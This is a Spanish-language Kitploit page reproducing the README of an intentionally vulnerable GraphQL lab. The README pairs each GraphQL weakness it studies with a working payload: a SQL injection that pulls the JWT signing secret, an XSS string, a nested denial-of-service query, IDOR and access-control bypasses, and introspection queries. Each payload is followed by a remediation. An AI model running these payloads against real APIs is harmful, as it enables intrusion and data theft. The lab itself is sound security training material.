Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
poc-graphql — Investigación sobre GraphQL desde el punto de vista de AppSec. | Kitploit
Herramientas/GitHubGitHub/righettod/poc-graphql
Análisis de VulnerabilidadesExplotación de Aplicaciones WebPruebas de Seguridad de APIsPruebas de PenetraciónAprendizaje y EducaciónLabs y PrácticaArchived
GitHubrighettod/poc-graphql

poc-graphql

Investigación sobre GraphQL desde el punto de vista de AppSec.

Ver Repositorio
418594hace 3 añosRevisado por Kitploit

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

Build and deploy the image

Tabla de contenido

  • Tabla de contenido
  • Investigación sobre GraphQL
    • Objetivo
    • Laboratorios
    • Despliegue en Docker
    • Debilidades de seguridad
      • Autorización
        • Problema
        • Recomendación
      • Inyección
        • Problema
        • Recomendación
      • Agotamiento de recursos
        • Problema
        • Recomendación
      • Exposición de datos privados
        • Problema
        • Recomendación
      • Exposición de información técnica en caso de error inesperado
        • Problema
        • Recomendación
      • Referencia directa insegura a objetos
        • Problema
      • Exposición de la API a un ámbito incorrecto de clientes
        • Problema
          • Habilitación por defecto del endpoint de WebSocket para Suscripciones
          • Habilitación por defecto de Cross-Origin Resource Sharing
Descargar herramienta
  • Recomendación
  • Consultas de descubrimiento
  • Referencias utilizadas
    • GraphQL
    • Laboratorios
  • Investigación sobre GraphQL

    Objetivo

    1. Estudiar qué es GraphQL.
    2. Analizar el uso de GraphQL desde el punto de vista de AppSec (ataques y defensas).
    3. Identificar posibles debilidades sobre las que se puedan realizar ataques.

    Laboratorios

    Se ha creado un laboratorio para estudiar los diferentes problemas; este toma el contexto de una clínica veterinaria que gestiona la salud de perros.

    El laboratorio fue desarrollado utilizando IntelliJ IDEA Community Edition.

    Los dominios utilizados son los siguientes:```text

    Define in host file

    127.0.0.1 localhost 127.0.0.1 domain1.local 127.0.0.1 domain2.local

    root@kitploit:~
    Estas son las condiciones y suposiciones del laboratorio:
    
    * Un veterinario puede estar asociado con 0 o N perros.
    * Un perro puede estar asociado con 0 o 1 veterinario.
    * Un veterinario posee una propiedad llamada **Popularity** presente en el sistema de almacenamiento (base de datos), pero no debe ser accedida por el cliente GraphQL porque es información sensible.
    * El punto de vista de consumo de datos de GraphQL es el veterinario. La información del perro es pública.
    * El laboratorio es explícitamente una aplicación vulnerable en la que se han implementado varias vulnerabilidades y se identifican usando el marcador `[VULN]` en los comentarios.
    * En cuanto a la autenticación, se ha implementado un servicio falso de terceros (a través de un servlet) que devuelve un token JWT que contiene el nombre del veterinario en el token.
    
    Una vez iniciado mediante la configuración de lanzamiento presente en el proyecto o la línea de comandos `mvn spring-boot:run`, el laboratorio está disponible en estos endpoints:
    
    * [GraphiQL](http://localhost:8080/graphiql)
    * [GraphQL](http://localhost:8080/graphql)
    
    Para empaquetar la aplicación como un archivo jar portátil, use el comando `mvn package` (un archivo jar preconstruido está disponible [aquí](https://github.com/righettod/poc-graphql/releases)):
    * El archivo jar se creará en la carpeta *target* y se llamará *graphql-poc.jar*.
    * Use el comando `java -jar graphql-poc.jar` para ejecutar la aplicación.
    
    ## Despliegue en Docker
    
    > La imagen se publica todos los días en [DockerHub](https://hub.docker.com/r/righettod/poc-graphql)
    
    Para desplegar la aplicación en un contenedor docker, siga los pasos:
    
    1. Asegúrese de tener `docker` instalado.
    2. Ejecute `git clone` del repositorio.
    3. Cambie al directorio clonado.
    4. Construya la imagen docker usando `docker build -t poc-graphql .`
    5. Ahora se ha creado una imagen llamada **poc-graphql:latest** en su máquina.
    6. Ejecute el contenedor usando `docker run -p 8080:8080 poc-graphql:latest`
    7. Acceda al laboratorio usando los siguientes endpoints:
       * [GraphiQL](http://localhost:8080/graphiql)
       * [GraphQL](http://localhost:8080/graphql) 
    
    ## Debilidades de seguridad
    
    ### Autorización
    
    *control de acceso roto*
    
    [CWE-285](https://cwe.mitre.org/data/definitions/285.html)
    
    #### Problema
    
    Como GraphQL se basa en un único endpoint al que se envían todas las solicitudes y dado que la autorización está fuera del alcance de la especificación (sin funcionalidades integradas).
    
    Depende de la aplicación implementar una lógica de autorización.
    
    En mi laboratorio tengo una vulnerabilidad en este punto porque la verificación del token de acceso no verifica que el token pertenezca al veterinario pasado en **veterinaryId**
    
    **Ejemplo:**
    
    Solicito un token de acceso para **Dr Julien** que tiene el identificador **3** en el almacenamiento enviando esta solicitud GraphQL:```javascript
    query getAccessToken {
      auth(veterinaryName: "Julien")
    }
    

    Recibo el token de acceso en la siguiente respuesta GraphQL:```javascript { "data": { "auth": "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJhdWQiOiJwb2MiLCJzdWIiOiJKdWxpZW4iLCJpc3MiOiJBdXRoU3lzdGVtIiwiZXhwIjoxNTQ2NDQyOTAyfQ.H9A-vXRsiivFGShtdhiR3N2lSDDx-sNqbbJxMRNnExI" } }

    root@kitploit:~
    Envío una solicitud GraphQL a la consulta `myInfo(...)` usando el token de acceso obtenido, PERO especifico el identificador **2** que es el del **Dr Benoit**:```javascript
    query brokenAccessControl {
      myInfo(accessToken:"eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJhdWQiOiJwb2MiLCJzdWIiOiJKdWxpZW4iLCJpc3MiOiJBdXRoU3lzdGVtIiwiZXhwIjoxNTQ2NDQyOTAyfQ.H9A-vXRsiivFGShtdhiR3N2lSDDx-sNqbbJxMRNnExI", veterinaryId: 2){
        id, name, dogs {
          name
        }
      }
    }
    

    Recibo en la respuesta de GraphQL la lista de Dogs asociados con Dr Benoit:```javascript { "data": { "myInfo": { "id": 2, "name": "Benoit", "dogs": [ { "name": "Babou" }, { "name": "Baboune" }, { "name": "Babylon" }, ...

    root@kitploit:~
    #### Recomendación
    
    Con GraphQL, pasamos de una matriz de autorización usando `Role x Feature` a seguridad a nivel de datos usando `Role x Data` porque también hay un único endpoint. La identidad del usuario y los roles deben pasarse a la capa superior encargada de obtener los datos (o actuar sobre ellos) para aplicar una verificación utilizando la identidad del usuario antes de obtener los datos.
    
    ### Injection
    
    [CWE-20](https://cwe.mitre.org/data/definitions/20.html) / [CWE-116](https://cwe.mitre.org/data/definitions/116.html)
    
    #### Issue
    
    Según cómo la información de la consulta/mutación/suscripción de la solicitud GraphQL es utilizada por el servidor GraphQL para actuar sobre los almacenes de datos, existe la posibilidad de inyección.
    
    En mis laboratorios tengo una vulnerabilidad en este punto sobre SQLi en la consulta `dogs(namePrefix: String, limit: Int = 500): [Dog!]` porque el parámetro **namePrefix** se utiliza en la concatenación de cadenas para construir una consulta SQL.
    
    **Ejemplo:**
    
    Envío esta solicitud GraphQL para listar el contenido de la tabla `CONFIG````javascript
    query sqli {
      dogs(namePrefix: "ab%' UNION ALL SELECT 50 AS ID, C.CFGVALUE AS NAME, NULL AS VETERINARY_ID FROM CONFIG C LIMIT ? -- ", limit: 1000) {
        id
        name
      }
    }
    

    Recibo en la respuesta de GraphQL el secreto utilizado para firmar el token JWT junto con el nombre del perro cuyo nombre comienza con ab:```javascript { "data": { "dogs": [ { "id": 1, "name": "Abi" }, { "id": 2, "name": "Abime" }, { "id": 50, "name": "$Nf!S?(.}DtV2~:Txw6:?;D!M+Z34^" } ] } }

    root@kitploit:~
    Acerca de XSS, es interesante notar que la respuesta de GraphQL refleja el parámetro enviado en caso de fallo de validación en la solicitud enviada.
    
    **Ejemplo:**
    
    Envío esta solicitud GraphQL a la consulta `myInfo(accessToken: String!, veterinaryId: Int!): Veterinary`, reemplazo el identificador Veterinary (que es un entero) por un payload XSS de tipo String:```javascript
    query xss {
      myInfo(accessToken: "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJhdWQiOiJwb2MiLCJzdWIiOiJKdWxpZW4iLCJpc3MiOiJBdXRoU3lzdGVtIiwiZXhwIjoxNTQ2NDU1MDQwfQ.P87Ef-GM99a_vzzbUf2RprUYxFgxgPnSukaVnz22BJ0",
        veterinaryId: "<script>alert('XSS')</script>") {
        id
      }
    }
    

    Recibo esta respuesta GraphQL que refleja mi payload, por lo que, dependiendo del cliente GraphQL y su comportamiento de escaping/sanitizing, puede abrir la puerta a XSS:```javascript { "data": null, "errors": [ { "message": "Validation error of type WrongType: argument 'veterinaryId' with value 'StringValue{value=''}' is not a valid 'Int' @ 'myInfo'", "locations": [ { "line": 3, "column": 5, "sourceName": null } ], "description": "argument 'veterinaryId' with value 'StringValue{value=''}' is not a valid 'Int'", "validationErrorType": "WrongType", "queryPath": [ "myInfo" ], "errorType": "ValidationError", "path": null, "extensions": null } ] }

    root@kitploit:~
    #### Recomendación
    
    * Aplique validación de entrada en los datos recibidos a través de Query/Mutation/Subscription antes de usarlos
    * Asegúrese de que el cliente que renderiza los datos de la respuesta GraphQL aplique escape/sanitización en los datos antes de renderizarlos.
    
    ### Agotamiento de recursos
    
    [CWE-400](https://cwe.mitre.org/data/definitions/400.html)
    
    #### Problema
    
    Como el cliente controla la cantidad de datos solicitados, puede enviar una solicitud GrapQL a una consulta que provoque un agotamiento de recursos en los almacenes llamados por el servidor GraphQL, junto con el propio servidor GraphQL para la serialización de datos a JSON.
    
    Este problema también puede ocurrir usando una mutación enviando una gran cantidad de datos en los parámetros (la validación de entrada se puede usar aquí para prevenir este ataque).
    
    Este problema también puede ocurrir usando una suscripción de las siguientes maneras:
    
    * Registrar una gran cantidad de suscriptores y en cada suscripción expuesta.
    * Enviar una gran cantidad de datos en los parámetros utilizados por las suscripciones.
    
    En mis laboratorios tengo una vulnerabilidad en este punto para consultas, precisamente en la consulta `allDogs(onlyFree: Boolean = false, limit: Int = 500): [Dog!]` que está disponible para usuarios anónimos y recupera el contenido de la BD sobre el perro. Como existe una relación entre Perros y un Veterinario y la inversa, entonces es posible realizar una llamada en cascada que causa agotamiento de recursos a nivel SQL en la BD.
    
    **Ejemplo:**
    
    Cuando envío esta solicitud, provoco que mi CPU llegue al 100% durante varios minutos y mi BD es local porque es un SQLite.```javascript
    query dos {
      allDogs(onlyFree: false, limit: 1000000) {
        id
        name
        veterinary {
          id
          name
          dogs {
            id
            name
            veterinary {
              id
              name
              dogs {
                id
                name
                veterinary {
                  id
                  name
                  dogs {
                    id
                    name
                    veterinary {
                      id
                      name
                      dogs {
                        id
                        name
                        veterinary {
                          id
                          name
                          dogs {
                            id
                            name
                          }
                        }
                      }
                    }
                  }
                }
              }
            }
          }
        }
      }
    }
    

    PROOF00

    Recomendación

    Para Query:

    Dependiendo de la implementación del servidor GraphQL utilizado, use la protección incorporada proporcionada para Maximum Query Depth y Query Complexity (ver especificaciones aquí).

    Para la implementación en Java, agregue estas 2 clases de instrumentación a la estrategia de ejecución:

    • Protección contra Query Complexity
    • Protección contra Query Deep

    Vea esta clase para un ejemplo de uso de las 2 instrumentaciones anteriores.

    Para Mutation/Subscription:

    • Use validación de entrada para limitar el tamaño de los datos entrantes aceptados.
    • Agregue un límite de suscriptores a nivel de código.

    Exposición de datos privados

    CWE-359

    Problema

    Con GraphQL, se ofrece al cliente una característica de introspección para acceder al esquema de la API y descubrir los datos disponibles, así como los Query, Mutation y Subscription sobre ellos.

    Nota: Deshabilitar Introspection pone su servidor en contravención de la especificación de GraphQL y las expectativas de la mayoría de los clientes, así que utilícelo con precaución; prefiera filtrar el acceso en lugar de deshabilitarlo desde un punto de vista comercial.

    Esto implica que cualquier cliente puede profundizar en el esquema para ver en Type si se expone alguna información sensible interesante (es la misma observación sobre la acción con respecto a Mutation o Subscription expuestos).

    Usando GraphiQL a través del panel Documentation Explorer o este script es posible navegar por el esquema expuesto desde un endpoint de GrapQL.

    En mi laboratorio, expuse por error la información de popularidad considerada como sensible sobre un Veterinary en el Type Veterinary.

    En mi laboratorio, esta url permite obtener una copia del esquema.

    Ejemplo:

    Usando el panel Documentation Explorer, encontré este campo:

    PROOF01

    PROOF02

    PROOF03

    Recomendación

    Se puede establecer una restricción de autenticación en el acceso al endpoint de GraphQL para evitar la exposición a usuarios anónimos, pero cualquier usuario autenticado accederá a este esquema de información.

    Incluso si un cliente puede ver la estructura de un tipo que expone información sensible, para ver esta información necesita tener permiso en el Query/Mutation/Subscription que devuelve estos datos.

    No mapee información sensible en el tipo definido en el esquema.

    Como GraphQL materializa cómo el cliente consumirá los datos, GraphQL no debe exponer todos los datos disponibles en el almacenamiento vinculado, sino aquellos útiles para el cliente según el contexto de negocio de la API GraphQL expuesta a ellos.

    Exposición de información técnica en caso de error inesperado

    CWE-200

    Problema

    Cuando el servidor GraphQL encuentra un error inesperado (E/S con almacenamientos, NullPointerException, Timeout...), la respuesta indica Internal Server Error(s) while executing query, lo que da una pista al atacante de que ha actuado en el sistema y causado un comportamiento inesperado.

    Ejemplo:

    Cuando envío esta consulta de solicitud en mi laboratorio (token inválido):```javascript query testErrorHandling { myInfo(accessToken:"aaaa", veterinaryId: 2){ id, name, dogs { name,veterinary{ name } } } }

    root@kitploit:~
    Recibo una respuesta que me informa que he actuado sobre el sistema y causado un comportamiento inesperado. Quizás, por ejemplo, he generado un stack trace en el registro de la aplicación, y si los archivos de registro de la aplicación rotan por fecha (diariamente) y no por tamaño, entonces puedo enviar esta solicitud varias veces para llenar el disco con registros de errores...```javascript
    {
      "data": {
        "myInfo": null
      },
      "errors": [
        {
          "message": "Internal Server Error(s) while executing query",
          "path": null,
          "extensions": null
        }
      ]
    }
    

    Recomendación

    Retorna un error genérico si se encuentra un error inesperado, como por ejemplo ¡La consulta no puede ser procesada!

    Vea un ejemplo en esta clase.

    Referencia Directa Insegura a Objetos

    CWE-639

    Problema

    Si la API de GraphQL expone Query/Mutation/Subscription cuyo identificador de datos es adivinable/predecible, entonces esas Query/Mutation/Subscription están expuestas a un ataque IDOR en el cual el atacante usará una lista construida a medida de identificadores para intentar acceder o actuar sobre datos que tengan un identificador que esté en la lista, y la acción tendrá éxito si también hay problemas de autorización en la Query/Mutation/Subscription objetivo que maneja los datos objetivo.

    La Query/Mutation/Subscription de la API GraphQL propuesta por mis laboratorios es vulnerable a IDOR porque uso números enteros secuenciales como identificadores únicos para Dog y Veterinary.

    Ejemplo:

    Usando el Documentation Explorer de GraphiQL vemos que los identificadores son números enteros simples y secuenciales:

    PROOF04

    PROOF05

    Consulta de solicitud para detectar IDOR:```javascript query detectIDOR { allDogs{ id,veterinary{ id } } }

    root@kitploit:~
    La respuesta muestra el identificador secuencial para Dog y Veterinay:```javascript
    {
      "data": {
        "allDogs": [
          {
            "id": 1,
            "veterinary": {
              "id": 1
            }
          },
          {
            "id": 2,
            "veterinary": {
              "id": 1
            }
          },
          {
            "id": 3,
            "veterinary": {
              "id": 1
            }
          },
      ...
      {
            "id": 55,
            "veterinary": {
              "id": 2
            }
          },
          {
            "id": 56,
            "veterinary": {
              "id": 2
            }
          },
          {
            "id": 57,
            "veterinary": {
              "id": 2
            }
          },
          {
            "id": 58,
            "veterinary": {
              "id": 2
            }
          },
          {
            "id": 59,
            "veterinary": {
              "id": 2
            }
      ...
    

    Exposición de la API a la esfera incorrecta de clientes

    CWE-668

    Problema

    Al usar un servidor de implementación GraphQL para construir tu API GraphQL, puede ocurrir que este habilite por defecto algunas características que exponen la API GraphQL a la esfera incorrecta de clientes.

    Habilitación predeterminada del endpoint WebSocket de suscripciones

    En mi laboratorio es el caso porque, por defecto, se expone un endpoint WebSocket en la ruta /subscriptions y no requiere autenticación (ver esta doc precisamente la sección Actualizaciones en tiempo real con suscripciones):

    PROOF08

    Los clientes pueden obtener acceso a los datos de la API a través de este endpoint si el esquema declara suscripciones en la sección Subscription.

    Ejemplo:

    Puedo ver las suscripciones expuestas a través del esquema:

    PROOF09

    Si envío esta solicitud de suscripción para recibir eventos de la suscripción newAssociation:```javascript subscription subscribeToNewAssociation{ newAssociation }

    root@kitploit:~
    Recibo el siguiente mensaje que indica que, a partir de ahora, recibiré información de esta suscripción:```text
    Your subscription data will appear here after server publication!
    

    Y cuando creo una asociación mediante esta solicitud de mutación en otro navegador, por ejemplo:```javascript mutation associateDog{ associateDogToMe(accessToken: "eyJ0eXAiOiJKV1Qi...", veterinaryId: 4, dogId: 198){ name } }

    root@kitploit:~
    La respuesta de mutación demuestra que la acción se ha realizado a nivel de datos:```javascript
    {
      "data": {
        "associateDogToMe": {
          "name": "Dobby"
        }
      }
    }
    

    Después de un momento, recibo esta notificación en respuesta a mi suscripción:```javascript { "newAssociation": "Dog['Dobby'] associated with Veterinary['Maxime']." }

    root@kitploit:~
    ![PROOF10](https://assets.kitploit.com/production/public/readmes/6114/d16d4a36df8b0debf31bba4b07b813cb56241cbe591cd1a474f47aeeeef1eb3d.png)
    
    ##### Habilitación predeterminada de Cross-Origin Resource Sharing
    
    En mi laboratorio es el caso porque, por defecto, [CORS](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS) está habilitado y configurado como `*`, por lo que la API puede ser llamada desde cualquier `origin`.
    
    **Ejemplo:**
    
    Cuando envío esta solicitud en la que especifico un `origin` diferente de *domain1.local* a *domain2.local*:```text
    POST /graphql HTTP/1.1
    Host: domain2.local:8080
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko/20100101 Firefox/64.0
    Accept: application/json
    Accept-Language: en-GB,en;q=0.5
    Accept-Encoding: gzip, deflate
    content-type: application/json
    origin: http://domain1.local:8080
    referer: http://domain1.local:8080
    Content-Length: 104
    DNT: 1
    Connection: close
    Pragma: no-cache
    Cache-Control: no-cache
    
    {"query":"query testCORS {\n  allDogs{\n    name\n  }\n}\n","variables":null,"operationName":"testCORS"}
    

    Recibo esta respuesta:```text HTTP/1.1 200 OK Connection: close Access-Control-Allow-Origin: * Vary: Origin Vary: Access-Control-Request-Method Vary: Access-Control-Request-Headers Content-Type: application/json;charset=UTF-8 Content-Length: 3562 Date: Sat, 05 Jan 2019 16:23:47 GMT

    {"data":{"allDogs":[{"name":"Abi"},...

    root@kitploit:~
    Llamada desde un navegador:
    
    ![PROOF06](https://assets.kitploit.com/production/public/readmes/6114/f3b510f63ccfb02205077f80ab0a3aecc89828e7648fbc57df10315456e1b92b.png)
    
    ![PROOF07](https://assets.kitploit.com/production/public/readmes/6114/d1e1d8b993ca30df19159ce8e9283d90130fd3122beed521a8563cd628b10f82.png)
    
    #### Recomendación
    
    Verifique las funciones habilitadas por defecto y desactívelas si afectan la exposición de la API.
    
    Para el endpoint de Suscripciones:
    
    * Si expone la suscripción, asegúrese de que haya Autenticación y Control de Acceso en cada suscripción expuesta en el esquema.
    * Si no expone la suscripción, desactive el endpoint WebSocket o bloquee este endpoint a nivel de WAF/Servidor de Aplicaciones.
    
    En mi laboratorio, se debían establecer las siguientes opciones en este [archivo de configuración](https://github.com/righettod/poc-graphql/blob/master/src/main/resources/application.properties):
    
    * Para CORS: `graphql.servlet.corsEnabled=false`
    * Para WebSocket: `graphql.servlet.websocket.enabled=false`
    
    ## Consultas de descubrimiento
    
    Las siguientes consultas se pueden usar para obtener el esquema.
    
    No detalladas:```javascript
    {
        __schema {
            types {
                name
                kind
                description
                fields {
                    name
                }
            }
        }
    }
    

    Detalles:```javascript query IntrospectionQuery { __schema { queryType { name } mutationType { name } subscriptionType { name } types { ...FullType } directives { name description locations args { ...InputValue } } } }

    fragment FullType on __Type { kind name description fields(includeDeprecated: true) { name description args { ...InputValue } type { ...TypeRef } isDeprecated deprecationReason } inputFields { ...InputValue } interfaces { ...TypeRef } enumValues(includeDeprecated: true) { name description isDeprecated deprecationReason } possibleTypes { ...TypeRef } }

    fragment InputValue on __InputValue { name description type { ...TypeRef } defaultValue }

    fragment TypeRef on __Type { kind name ofType { kind name ofType { kind name ofType { kind name ofType { kind name ofType { kind name ofType { kind name ofType { kind name } } } } } } } }

    root@kitploit:~
    ## Referencias utilizadas
    
    ### GraphQL
    
    * [Sitio de GraphQL](https://graphql.org/)
    * [Tutoriales de GraphQL](https://www.howtographql.com/)
    * [Blog de DOYENSEC sobre problemas de GraphQL](https://blog.doyensec.com/2018/05/17/graphql-security-overview.html)
    
    ### Laboratorios
    
    * [graphql-spring-boot](https://github.com/graphql-java-kickstart/graphql-spring-boot)
    * [graphql-java-kickstart](https://www.graphql-java-kickstart.com)